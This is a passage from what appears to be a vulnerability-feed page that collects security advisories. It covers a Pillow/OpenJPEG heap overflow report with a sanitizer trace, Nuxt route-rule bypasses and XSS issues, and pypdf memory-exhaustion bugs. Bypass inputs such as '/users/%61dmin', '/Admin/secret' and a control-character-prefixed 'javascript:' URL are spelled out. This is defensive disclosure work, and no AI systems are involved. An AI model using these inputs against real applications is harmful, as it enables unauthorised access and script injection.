l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos; l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos = l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2; ``` `tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker. The correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index && l_current_tile_part < nb_tps)`. One writer checked, its sibling not. Reached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM "valid" and lets `TPsot` walk past the allocation. ## Patch status Fixed upstream in `91d08b11` ("Fix heap buffer overlfow in opj_j2k_read_sod", 2026-02-10). The newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**. ## Suggested remediation 1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file. 2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code. 3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot. ## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply `Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway. I verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`. That is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume. ### Proof of concept ASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`: ``` ==766332==ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 #0 opj_j2k_read_sod j2k.c:5086 #1 opj_j2k_read_tile_header j2k.c:9912 #2 opj_read_tile_header openjpeg.c:575 #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793 #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949 #5 _decode src/decode.c:132 located 8 bytes to the right of a 24-byte region allocated by opj_j2k_build_tp_index_from_tlm j2k.c:8939 ``` Frames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure. I have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready. No disclosure deadline from me; I will not publish anything while this is being worked on. ### Impact Any application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file. **Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker. **Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls Affected package ranges reported by GitHub: pillow: >= 11.1.0, < 13.0.0 Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive https://kevwire.com/record/CVE-2026-114132 Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive (Oct 22, 2026). With the default `router.options.sensitive: false`, Nuxt's page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied. Earlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server: CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-vjh5-4x84-xrqp). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114132&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-vjh5-4x84-xrqp: https://github.com/advisories/GHSA-vjh5-4x84-xrqp GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114132&date=2026-10-25 ## Impact With the default `router.options.sensitive: false`, Nuxt's page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied. Earlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server: - `redirect`: a rule used to send visitors away from a page, such as `'/admin/**': { redirect: '/login' }`, was skipped, and the page and its server-fetched data were rendered instead. - `headers`: per-route response headers, including security headers such as `Content-Security-Policy` or `X-Frame-Options`, were not sent. - `proxy`: the request was not proxied. - `ssr: false` and `noScripts`: the page was server-rendered, or shipped scripts, despite the rule. - `getRouteRules(event)` (auto-imported, or from `nuxt/server`) and `matchRouteRules` from `nuxt/server` returned no rules for the case variant. ```ts export default defineNuxtConfig({ routeRules: { '/admin/**': { redirect: '/login' }, }, }) ``` With this configuration, `/admin/secret` redirects to `/login`, but `/Admin/secret` rendered `app/pages/admin/secret.vue`. ## Mitigating factors - Applications that set `router.options.sensitive: true` in `nuxt.config` are not affected, because their pages are only served for the exact case of the route. - Access checks performed in server middleware, route middleware attached with `definePageMeta`, or in the page's data fetching are not affected. The issue only affects protections that rely on a server-side route rule matching the request path. ## Affected versions `nuxt` `<4.6.2`, including all Nuxt 3 releases, and `@nuxt/nitro-server` `<4.6.2`. ## Patches Fixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix. Nuxt now resolves server-side route rules itself, decoding and case-folding both the rule keys and the request path unless `router.options.sensitive` is set, and applies the result to Nitro's `redirect`, `headers` and `proxy` handling, the renderer, and the `getRouteRules` / `matchRouteRules` helpers. When routing is case-insensitive, patched releases change some behaviour: - Route rules also apply to case variants of server API routes. For example, `/API/x` now matches a `/api/**` `proxy` or `headers` rule. - Rule keys that differ only in letter case now resolve to the same path on the server, and the later key takes precedence. The following are not changed by this fix: - `cache` and `swr` response caching is attached to server routes by Nitro's router, which matches case-sensitively. A case variant is still rendered with its route rules applied, but its response is not cached. - Rules that a deployment preset compiles into platform configuration (for example Vercel's `config.json` or Netlify's `_redirects` and `_headers`) are matched by the platform. Once a request reaches the Nuxt server, the rules are applied as described above. - If `sensitive` is set only in `app/router.options.ts`, the server follows the `nuxt.config` value. In that configuration route rules can only apply to more paths, never fewer. ## Workarounds Upgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3: 1. Set `router: { options: { sensitive: true } }` in `nuxt.config`, so pages are only served for the exact case of their route. 2. Alternatively, enforce access control in server middleware or route middleware rather than relying on a `redirect` route rule, and set security headers for every response rather than per route. Affected package ranges reported by GitHub: nuxt: >= 4.0.0, < 4.6.2 nuxt: >= 3.0.0, < 4.0.0 @nuxt/nitro-server: >= 4.2.0, < 4.6.2 @nuxt/nitro-server: >= 3.20.0, < 4.0.0 Action: GitHub lists first patched versions: nuxt: 4.6.2; @nuxt/nitro-server: 4.6.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nuxt server islands render `useHeadSafe` input without sanitisation https://kevwire.com/record/CVE-2026-114133 Nuxt server islands render `useHeadSafe` input without sanitisation (Oct 22, 2026). `useHeadSafe` restricts head input to an allowlist of safe tags and attributes. For example, `bodyAttrs` is limited to `class` and `style`, event handler attributes are removed, and ` ``` - Server components are experimental. They are only active when the application defines a `.server.vue` component or page, or enables `experimental.componentIslands` and renders ` `. - Exploitation requires the application to pass attacker-controlled data to `useHeadSafe` inside a server island. `useHeadSafe` called from regular (non-island) components and pages is not affected. CVSS 5.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-xfq5-w38q-pc2x). EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114133&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-xfq5-w38q-pc2x: https://github.com/advisories/GHSA-xfq5-w38q-pc2x GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114133&date=2026-10-25 ## Impact `useHeadSafe` restricts head input to an allowlist of safe tags and attributes. For example, `bodyAttrs` is limited to `class` and `style`, event handler attributes are removed, and ` ``` ## Mitigating factors - Server components are experimental. They are only active when the application defines a `.server.vue` component or page, or enables `experimental.componentIslands` and renders ` `. - Exploitation requires the application to pass attacker-controlled data to `useHeadSafe` inside a server island. `useHeadSafe` called from regular (non-island) components and pages is not affected. ## Affected versions `nuxt` `>=3.13.0`, when head support for server islands was introduced. Nuxt 2 is not affected. ## Patches Fixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix. Patched releases apply Unhead's safe input filtering to `useHeadSafe` entries on the server before they are added to the island response, so `islandResponse.head` (including what `render:island` hooks see) only contains input that `useHeadSafe` allows. ## Workarounds Upgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3: 1. Call `useHeadSafe` with untrusted input from a regular component or page rather than from inside a server island. 2. Alternatively, validate untrusted head input against your own allowlist before passing it to `useHeadSafe` inside a server island. Affected package ranges reported by GitHub: nuxt: >= 3.13.0, < 4.6.2 Action: GitHub lists first patched versions: nuxt: 4.6.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nuxt: Incomplete fix for GHSA-934w-87qh-qr26: a `javascript:` URL prefixed with an ASCII control character executes from `` when `pages` is disabled https://kevwire.com/record/CVE-2026-114130 Nuxt: Incomplete fix for GHSA-934w-87qh-qr26: a `javascript:` URL prefixed with an ASCII control character executes from `` when `pages` is disabled (Oct 22, 2026). An application that renders ` ` with a value it does not control can be made to render an anchor whose `href` executes script in the application's origin when clicked. This is an incomplete fix for [GHSA-934w-87qh-qr26](https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26) (CVE-2026-53722). It only affects applications running without a `pages/` directory, where `pages` resolves to `false` and Nuxt registers its own router in place of vue-router. Applications using vue-router are not affected. CVSS 2.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-jjm6-p2m9-9w4x). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114130&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-jjm6-p2m9-9w4x: https://github.com/advisories/GHSA-jjm6-p2m9-9w4x GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114130&date=2026-10-25 ## Impact An application that renders ` ` with a value it does not control can be made to render an anchor whose `href` executes script in the application's origin when clicked. This is an incomplete fix for [GHSA-934w-87qh-qr26](https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26) (CVE-2026-53722). It only affects applications running without a `pages/` directory, where `pages` resolves to `false` and Nuxt registers its own router in place of vue-router. Applications using vue-router are not affected. Prefixing `javascript:` with an ASCII C0 control character, for example `%01`, meant the value was not recognised as having a protocol. It was classified as an internal route and so never reached the protocol check added in GHSA-934w-87qh-qr26, and the router used for `pages: false` passed it through to the rendered `href` unchanged. Browsers strip the leading control character and run the result as a script URL. Both ` ` and the default anchor are affected, and the `href` is present in the server-rendered HTML. ## Mitigating factors - The application must have `pages` disabled (no `pages/` directory, or `pages: false`). - The application must bind untrusted input to `:to`. - A victim must click the rendered link. ## Affected versions `nuxt` `<4.6.0`, including all Nuxt 3 releases. Versions before `4.4.7` and `3.21.7` are also affected by GHSA-934w-87qh-qr26. ## Patches Fixed in `nuxt@4.6.0`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix. Anchor `href` values are now checked for script-capable protocols wherever they are rendered, including the router used when `pages` is disabled. Protocol detection also moved to the platform `URL` parser, so a URL is classified the same way the browser will read it. ## Workarounds Upgrade to `nuxt@4.6.0` or later. If you cannot upgrade, including on Nuxt 3, validate values before binding them to `:to`, for example by rejecting anything that is not a path beginning with a single `/`. Affected package ranges reported by GitHub: nuxt: < 4.6.0 Action: GitHub lists first patched versions: nuxt: 4.6.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Nuxt: Route rules are matched against the raw request path, so a percent-encoded segment can bypass `appMiddleware` on dynamic and catch-all routes https://kevwire.com/record/CVE-2026-114131 Nuxt: Route rules are matched against the raw request path, so a percent-encoded segment can bypass `appMiddleware` on dynamic and catch-all routes (Oct 22, 2026). Nuxt compared `routeRules` keys against the raw request path, without decoding percent-encoding, while the router decodes parameters when it resolves a route. A request whose path is percent-encoded can therefore resolve to a page while failing to match the route rule meant to protect it, so the rule's `appMiddleware` never runs, including during server rendering. For a page served through a dynamic or catch-all route, an attacker can percent-encode a character in the path to skip the rule: CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-6gq8-jgmh-3ffp). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114131&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-6gq8-jgmh-3ffp: https://github.com/advisories/GHSA-6gq8-jgmh-3ffp GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114131&date=2026-10-25 ### Summary Nuxt compared `routeRules` keys against the raw request path, without decoding percent-encoding, while the router decodes parameters when it resolves a route. A request whose path is percent-encoded can therefore resolve to a page while failing to match the route rule meant to protect it, so the rule's `appMiddleware` never runs, including during server rendering. ### Impact For a page served through a dynamic or catch-all route, an attacker can percent-encode a character in the path to skip the rule: ```ts export default defineNuxtConfig({ routeRules: { '/users/admin': { appMiddleware: 'auth' }, }, }) ``` Requesting `/users/%61dmin` still renders `app/pages/users/[id].vue` with `id` decoded to `admin`, but the rule keyed `/users/admin` does not match, so `auth` does not run and the server renders and returns the gated page to an unauthenticated visitor. No privileges and no user interaction are required, and only ASCII characters are involved. Purely static ASCII routes are not affected: static segments are matched without decoding, so a request for `/%61dmin` does not resolve to the page registered at `/admin` and 404s instead of rendering. The rule keys affected are the ones carried in the app manifest and consumed by the app: `appMiddleware`, `redirect`, `appLayout`, `ssr`, `prerender`, and the payload flags derived from `cache`, `isr` and `swr`. If you have pinned or overridden dependency versions below what your Nuxt release declares, a release outside the affected ranges can still be exposed, so do not conclude from a single reproduction that you are unaffected. ### Patches Releases from `4.4.4` and `3.21.4` are not affected, because their dependency floor requires a version of the underlying HTTP layer that normalises percent-encoding in the request path before routing, which removes the mismatch in a default install. The comparison itself is fixed in `nuxt@4.5.2` and `nuxt@3.21.11`: route-rule keys and lookup paths are now decoded (and, unless `router.options.sensitive` is set, case-folded) before they are compared. Reserved escapes such as `%2F` are left encoded, so decoding cannot introduce extra path segments, and paths that cannot be decoded are matched verbatim. Upgrading to those releases is recommended, since it fixes the comparison rather than relying on a dependency to normalise the input, and it also restores route rules for pages whose paths contain non-ASCII characters. ### Workarounds If you cannot upgrade, do not rely on a `routeRules` key alone to protect a route. Attach the middleware to the page itself, which binds it to the resolved route rather than to the raw path string: ```vue ``` ### Credits Thanks to @sushi-gif, whose report that route rules keyed with non-ASCII paths never match the routes generated for those pages prompted the review that found this issue. Affected package ranges reported by GitHub: nuxt: >= 4.0.0, < 4.4.4 nuxt: >= 3.11.0, < 3.21.4 Action: GitHub lists first patched versions: nuxt: 4.4.4; nuxt: 3.21.4. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pypdf: Possible long runtimes/large memory usage when retrieving form fields https://kevwire.com/record/CVE-2026-113789 pypdf: Possible long runtimes/large memory usage when retrieving form fields (Oct 22, 2026). An attacker who uses this vulnerability can craft a PDF which leads to large memory usage and/or long runtimes. This requires retrieving the form fields of a document. This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0). CVSS 6.0 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-6vvc-x485-93v7). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113789&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-6vvc-x485-93v7: https://github.com/advisories/GHSA-6vvc-x485-93v7 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113789&date=2026-10-25 ### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage and/or long runtimes. This requires retrieving the form fields of a document. ### Patches This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#4219](https://github.com/py-pdf/pypdf/pull/4219). Affected package ranges reported by GitHub: pypdf: < 6.21.0 Action: GitHub lists first patched versions: pypdf: 6.21.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### pypdf: Possible large memory usage when parsing arrays and dictionaries https://kevwire.com/record/CVE-2026-113790 pypdf: Possible large memory usage when parsing arrays and dictionaries (Oct 22, 2026). An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing arrays and/or dictionaries with lots of elements. This has been fixed in [pypdf==6.21.0](https://github.com/py-pdf/pypdf/releases/tag/6.21.0). CVSS 6.0 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-f54x-cmq8-qg57). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113790&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-f54x-cmq8-qg57: https://github.com/advisories/GHSA-f54x-cmq8-qg57 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: 